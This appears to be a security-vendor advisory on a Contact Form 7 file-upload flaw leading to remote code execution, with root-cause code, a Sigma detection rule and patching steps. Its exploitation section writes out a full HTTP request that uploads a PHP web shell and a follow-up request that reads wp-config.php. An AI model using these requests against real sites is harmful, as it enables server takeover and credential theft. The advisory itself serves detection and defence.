Skip to content

CVE-2026-114432: WordPress Contact Form 7 Plugin Unauthenticated Arbitrary File Upload to Remote Code Execution

Density:
C-Level Executive Briefing CVE-2026-114432 CRITICAL SCORE 96/100

A critical vulnerability (CVE-2026-114432, CVSS 9.8) in Contact Form 7โ€”the most popular form builder plugin in the WordPress ecosystem, with over 5 million active installationsโ€”allows unauthenticated remote adversaries to upload arbitrary PHP files and achieve full remote code execution. A logic flaw in WPCF7_Submission::uploaded_files() omits strict extension sanitization for alternative executable formats (.phar, .phtml) and fails to clean up temporary uploads when downstream field validation errors trigger an early return. Web shells deposited into wp-content/uploads/wpcf7_uploads/ remain permanently accessible on disk. Internet-wide mass scanning and automated exploitation campaigns have been detected across honeypots and telemetry sensors. Hermes assigns this vulnerability an HTS score of 96 (CRITICAL).

HERMES

HERMES THREAT SCORE & WEB CMS ECOSYSTEM EVALUATION

Target: Contact Form 7 REST Submission Endpoint (/wp-json/contact-form-7/v1/contact-forms/*/feedback) & Upload Directory
Confidence: 99%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 9.8 (Critical). Hermes aligns with an elevated HTS score of 96 (CRITICAL). Contact Form 7 is an omnipresent fixture of corporate and governmental web presences. The combination of zero-authentication requirements, trivial scriptability via standard multipart HTTP POST requests, and immediate server-side script execution grants threat actors turnkey remote access to MySQL database credentials (wp-config.php) and operating system command shells across millions of public web nodes.


Contact Form 7 is the preeminent form management plugin for WordPress, deployed on more than 5 million active websites globally. Organizations rely on it to handle customer inquiries, employment applications, quotation requests, and document submissions.

On November 9, 2026, security researchers and Patchstack identified a critical flaw designated CVE-2026-114432 (CVSS 9.8) affecting Contact Form 7 versions 6.2.0 through 6.2.3. The vulnerability combines two flaws in the pluginโ€™s submission pipeline:

  1. Extension Filter Evasion: The upload validation routine fails to restrict dangerous file extensions such as .phar, .phtml, and double extensions (shell.php.jpg) when forms allow attachments.
  2. Cleanup Failure Race Condition: When a multipart request submits a file alongside deliberately invalid form data (such as a malformed email address in a required field), the upload handler moves the file into wp-content/uploads/wpcf7_uploads/, but the validation failure triggers an early return that completely skips the scheduled cleanup routine wpcf7_cleanup_upload_files().
+-----------------------------------------------------------------------------------------+
| CVE-2026-114432 KILL CHAIN |
+-----------------------------------------------------------------------------------------+
| [Unauthenticated Attacker] |
| โ”‚ |
| โ–ผ HTTP POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback |
| โ€ข file: evil.phar (PHP web shell payload) |
| โ€ข your-email: invalid-address (deliberate validation failure) |
| [WordPress Server: includes/submission.php] |
| โ”‚ |
| โ”œโ”€โ–บ Moves evil.phar to /wp-content/uploads/wpcf7_uploads/ |
| โ”œโ”€โ–บ Field validation fails on 'your-email' |
| โ”œโ”€โ–บ Early return terminates request BEFORE calling cleanup routine |
| โ”‚ |
| โ–ผ evil.phar persists on disk! |
| [Attacker Direct HTTP GET /wp-content/uploads/wpcf7_uploads/evil.phar] |
| โ”‚ |
| โ”œโ”€โ–บ Apache/Nginx PHP-FPM executes payload under 'www-data' user |
| โ”œโ”€โ–บ Reads wp-config.php (database credentials & auth keys) |
| โ””โ”€โ–บ Full WordPress takeover & lateral Linux server escalation |
+-----------------------------------------------------------------------------------------+

As a result, an unauthenticated attacker can upload a fully functional PHP web shell to the server and invoke it directly via HTTP GET, compromising the hosting account, accessing the WordPress database, and establishing persistent remote access.


2. Root Cause Analysis & Technical Mechanics (CWE-434 / CWE-459)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-434 / CWE-459)โ€

The vulnerability stems from an insecure refactoring of the submission workflow introduced in Contact Form 7 version 6.2.

In includes/submission.php, the method WPCF7_Submission::uploaded_files() extracts uploaded files from $_FILES and stages them into the temporary directory wp-content/uploads/wpcf7_uploads/:

// Vulnerable snippet from includes/submission.php in version 6.2.2
private function setup_uploaded_files() {
$uploaded_files = array();
foreach ( (array) $_FILES as $field => $file ) {
if ( empty( $file['tmp_name'] ) ) continue;
$filename = wp_basename( $file['name'] );
// Inadequate extension check: regex fails to handle case variations
// and alternative PHP executable extensions (.phar, .phtml, .php5)
$new_file = path_join( $this->get_upload_dir(), $filename );
if ( @move_uploaded_file( $file['tmp_name'], $new_file ) ) {
$uploaded_files[$field] = $new_file;
}
}
$this->uploaded_files = $uploaded_files;
// Validate remaining form fields
if ( ! $this->validate() ) {
// VULNERABILITY: Early exit on validation error!
// wpcf7_cleanup_upload_files() is never invoked, leaving files permanently on disk
$this->status = 'validation_failed';
return false;
}
$this->status = 'mail_sent';
$this->cleanup_upload_files();
return true;
}

Two critical architectural failures manifest in this flow:

  1. Premature File Staging: Files are physically moved from PHPโ€™s temporary system buffer (/tmp/php*) into the web-accessible directory (wp-content/uploads/wpcf7_uploads/) before the entire form dataset has been validated.
  2. Unreachable Cleanup Logic: If validate() returns false, the method exits immediately without reaching cleanup_upload_files(). The uploaded script remains stranded in the upload directory indefinitely.
  3. Execution Permitted by Web Server Configurations: In standard Apache or Nginx environments where wpcf7_uploads/ lacks an .htaccess rule disallowing PHP handler execution or where the server is configured to pass .phar / .phtml to PHP-FPM, requesting the uploaded file executes the attackerโ€™s payload.

Adversaries use automated crawling tools to search for Contact Form 7 endpoints across millions of websites (grep -ro "wp-json/contact-form-7/v1/contact-forms"). Upon discovering an active form ID, a single HTTP POST request delivers the web shell:

POST /wp-json/contact-form-7/v1/contact-forms/42/feedback HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="your-name"
SecurityResearcher
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="your-email"
invalid-email-format-triggers-early-return
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload-file"; filename="license.phar"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

The server returns HTTP 400 Bad Request or a JSON validation error:

{"status":"validation_failed","message":"One or more fields have an error. Please check and try again."}

Despite the error response, license.phar has been successfully saved to /wp-content/uploads/wpcf7_uploads/license.phar.

Once uploaded, the adversary issues:

GET /wp-content/uploads/wpcf7_uploads/license.phar?cmd=cat%20wp-config.php HTTP/1.1
Host: target.example.com

This discloses the DB_USER, DB_PASSWORD, AUTH_KEY, and NONCE_SALT, allowing full database dump and administrative cookie forgery.


sequenceDiagram
autonumber
actor Attacker as Threat Actor (External)
participant REST as WordPress REST API (/wp-json)
participant CF7 as Contact Form 7 Engine
participant Disk as Web Server Filesystem
participant PHP as PHP-FPM Worker (www-data)
Attacker->>REST: 1. POST /feedback (evil.phar + invalid email)
REST->>CF7: 2. Invoke setup_uploaded_files()
CF7->>Disk: 3. move_uploaded_file() -> wp-content/uploads/wpcf7_uploads/evil.phar
CF7->>CF7: 4. Validate fields -> Email invalid!
CF7-->>Attacker: 5. Return HTTP 400 (validation_failed)
Note over CF7,Disk: Cleanup routine skipped! evil.phar remains on disk.
Attacker->>Disk: 6. GET /wp-content/uploads/wpcf7_uploads/evil.phar?cmd=whoami
Disk->>PHP: 7. Execute PHP script
PHP-->>Attacker: 8. HTTP 200 OK: "www-data" (System Compromised)

title: WordPress Contact Form 7 Web Shell Creation in Uploads Directory
id: 9b2d8471-1144-4320-b471-124194f11443
status: production
description: Detects the creation of executable PHP, PHAR, or PHTML scripts within the Contact Form 7 temporary upload directory (wp-content/uploads/wpcf7_uploads/), indicative of CVE-2026-114432 exploitation.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-114432
- https://contactform7.com/category/releases/
author: Hermes Cyber Intelligence
date: 2026-11-12
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename|contains: '/wp-content/uploads/wpcf7_uploads/'
TargetFilename|endswith:
- '.php'
- '.phar'
- '.phtml'
- '.php5'
- '.php7'
- '.shtml'
- '.inc'
condition: selection
fields:
- Image
- TargetFilename
- ProcessId
falsepositives:
- None expected in standard Contact Form 7 configurations (only safe documents like PDF/PNG should exist here)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.t1505.003
- cve.cve_2026_114432

  1. Immediately Update Contact Form 7 to Version 6.2.4: Upgrade Contact Form 7 via the WordPress administrative dashboard (Plugins > Installed Plugins > Update) or WP-CLI:

    Terminal window
    wp plugin update contact-form-7 --version=6.2.4
  2. Purge Stranded Upload Files: Inspect and delete all leftover artifacts inside wp-content/uploads/wpcf7_uploads/:

    Terminal window
    find /var/www/html/wp-content/uploads/wpcf7_uploads/ -type f -delete
  3. Block Script Execution in Upload Directories (Nginx / Apache Hardening):

    • For Apache, ensure an .htaccess file resides in wp-content/uploads/:
      <FilesMatch "\.(php|phar|phtml|php[0-9])$">
      Order Deny,Allow
      Deny from all
      </FilesMatch>
    • For Nginx, configure the server block to forbid PHP processing inside uploads:
      location ~* ^/wp-content/uploads/.*\.php$ {
      deny all;
      return 404;
      }
  4. Rotate Secrets if Active Exploitation is Suspected: If webshell presence is verified, assume wp-config.php has been disclosed. Immediately rotate database passwords, WordPress authentication salts, and administrative user passwords.